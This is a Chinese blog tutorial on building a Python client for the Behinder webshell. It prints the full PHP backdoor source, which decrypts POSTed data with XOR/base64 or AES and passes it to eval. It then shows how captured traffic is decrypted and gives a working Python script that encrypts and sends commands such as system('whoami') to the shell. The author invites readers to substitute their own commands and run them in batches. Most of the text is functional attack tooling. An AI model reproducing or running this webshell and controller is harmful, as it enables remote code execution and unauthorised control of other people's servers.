用python連接冰蠍的程式碼實現
- 2019 年 11 月 7 日
- 筆記
前言
時代在發展,大家用後門的姿勢也在不斷的變化,從菜刀,到蟻劍,再到如今的冰蠍,這也是攻防相互作用的結果,今天頭髮奇想,如何用python來實現流量的加密。然後就研究了一番,寫出來了一些蹩腳的程式碼還望大佬們不要嫌棄。
邏輯分析
以php的程式碼為例:
先分析一波:
<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>
生成密鑰
if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; }
以get的形式訪問木馬,就會得到一個16位的密鑰,生成的方式很簡單
substr(md5(uniqid(rand())),16);
然後直接返回的在頁面上。
解密程式碼
這裡面有兩種解密的方式:
如果服務端開啟了openssl 直接使用AES128加密方式 密鑰已知
如果沒有使用openssl直接使用程式碼和key異或
我們今天先來研究第二種加密的方式,簡單的base64解密之後異或
if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); }
程式碼執行
$arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params);
這一部分也比較簡單
先使用|拆解
然後執行第二部分的程式碼
以上三個方面就是對冰蠍服務端的分析了,要是想使用python作為簡單的服務端的話,按照逆向思維的步驟其實很簡單也有三個步驟:
- 獲取密鑰
- 獲取程式碼
- 加密傳輸
程式碼構造
所以按照如上分析的三個步驟一步一步的展開:
獲取密鑰
直接在頁面上就可以獲取:類似這樣
key = s.get(url).text
獲取程式碼
還是想直接按照冰蠍的數據格式來構造程式碼畢竟人簡單的處理了一下;
$arr=explode('|',$post); $func=$arr[0]; $params=$arr[1];
於是給冰蠍上了代理,簡單的抓了個包,將密鑰和密文都抓了下來
使用php寫了寫解密的程式碼
解密的程式碼如下:
<?php { $key = 'ef74d2c21f1b391a'; $post = 'B0RHAUAXTlQQUA4bW1ASAFADawBXAF1VAxlFaW5/Dgcfdl88Ay10ZFd/KGcJBAMvVERaPGYQDxZPGFk='; $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } print $post; } ?>
最後得到的結果是
assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));
也就說,我們也執行的程式碼的數據格式就是這個樣子的,
assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));
想寫什麼操作的程式碼自行體會。
加密傳輸
首先是加密
原封不動的解密一下就好:
一個數連續兩次異或另外一個數還是他自己,類似這樣的函數:
def jiami(key,text): miwen = '' for i in range(0,len(text)): miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)])) return base64.b64encode(miwen.encode("utf-8"))
然後是傳輸
python的無參數post傳輸還真的是第一回:
類似這樣
payload = miwen req = s.post(host,data = payload)
稍微整理了一下:
import requests import sys import os import re import base64 host = "http://127.0.0.1/test.php" pwd = 'pass' cmd = "assert|eval(base64_decode('ZWNobyBzeXN0ZW0oJ3dob2FtaScpOw=='));" def jiami(key,text): miwen = '' for i in range(0,len(text)): miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)])) return base64.b64encode(miwen.encode("utf-8")) s = requests.Session() url = host+"?"+pwd+"=1" print(url) key = s.get(url).text miwen = str(jiami(key,cmd))[2:-1] print(miwen) payload = miwen req = s.post(host,data = payload) print(req.content)
後記
這次只是分析了服務端沒有使用openssl的方式,其實思路如法炮製,所以不在分析了,後續繼續研究一下其他語言的,大家有什麼批量的操作都可以的直接上了,自己的編碼的水平不行,在這裡只是起一個拋磚引玉的作用,蠢到大家了還望各位看官不要見諒。